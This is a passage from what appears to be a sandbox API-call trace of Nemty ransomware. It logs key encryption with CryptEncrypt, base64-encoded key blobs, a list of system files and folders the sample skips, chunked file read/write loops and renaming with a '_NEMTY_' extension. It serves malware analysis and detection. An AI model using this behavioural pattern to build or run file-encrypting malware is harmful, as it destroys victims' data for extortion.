pdwDataLen=0x653e920*=0x100) returned 1 [0129.338] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.338] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0129.338] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="HXKm5n5mPnblyWrF6bk9qQx7SmsqfSc0ZO05z7W+zEGLN0aPWaxAv3+TiJjST3H0\r\negadzYfCgv/C0Wd11070kY841vIs9cBHW9fl6qkye0uKZdM7ZqQ8PzAiLEeR8Q9B\r\ngb2EXegnObTt07vfrzTyGXcPg4il1tUwofqCW7TYp47e3NOauHqTbtNPloxDJ6t+\r\nYwVm4ht31UTPopVzgyD8nceW0TB2MKNPcxuIrP2gWSnHtDF2BNFlCSdvzEfjGW3x\r\nxJ93k6AJRT+UziNHCY4lHmOB0sttOMJuYo3nuhu9FLsj6ZvDJo1VVRAJ6eqJDony\r\nvNqZXd0V9sZK6D2qooLBWQ==\r\n", pcchString=0x653e91c) returned 1 [0129.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0129.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.338] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.339] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.445] CloseHandle (hObject=0xffffffff) returned 0 [0129.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0129.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0129.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png._nemty_kgobjgd_")) returned 0 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0129.446] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2=".") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="..") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="...") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="windows") returned -1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="$RECYCLE.BIN") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="rsa") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="NTDETECT.COM") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="ntldr") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="MSDOS.SYS") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="IO.SYS") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="boot.ini") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="boot.ini") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="AUTOEXEC.BAT") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="ntuser.dat") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="desktop.ini") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="CONFIG.SYS") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="RECYCLER") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="BOOTSECT.BAK") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="bootmgr") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="programdata") returned 1 [0129.446] lstrcmpiW (lpString1="triangle.png", lpString2="appdata") returned 1 [0129.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="triangle.png", lpUsedDefaultChar=0x0) returned 12 [0129.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="triangle.png", lpUsedDefaultChar=0x0) returned 12 [0129.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="triangle.png", lpUsedDefaultChar=0x0) returned 12 [0129.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="triangle.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="triangle.png", lpUsedDefaultChar=0x0) returned 12 [0129.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0129.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0129.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0129.447] Sleep (dwMilliseconds=0x5) [0129.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xcff7d0, dwHighDateTime=0x1d561e8)) [0129.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xcff7d0, dwHighDateTime=0x1d561e8)) [0129.462] GetLastError () returned 0x5 [0129.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.462] GetLastError () returned 0x5 [0129.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0129.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.463] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0129.463] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="q7JDuhynZkfKM4VCo5ALzwmk5TCaUtQeqPALdqfXWk559zBtKFhuydmHk2eKK/M4\r\nn7UpR9F4GafT2Es44OC/u/ZBcVfERFM1J9SRmcxb8PCyDPh1wdjiNlGIRiOHt6hw\r\nEPYaGRNvrfoMMjD24A7ZAAG/uUUzwyrT94X924oGvmOr+8A/ITPDz5/iwUHsea+v\r\nwE2URdiN9BurAfTVLhKdGZKwWJtckUcUSogZxa4icZVkIzB8UMa366WdyPUaNlq/\r\nt2XHd0cruOSX10eXXx4zl8MwMFoZA74Ps8UftTGHmqCuStZ9wXZ1mixVlElkmfzH\r\nJbdTojZLfEUVIrRnZhx+iQ==\r\n", pcchString=0x653e91c) returned 1 [0129.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0129.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.463] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.463] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 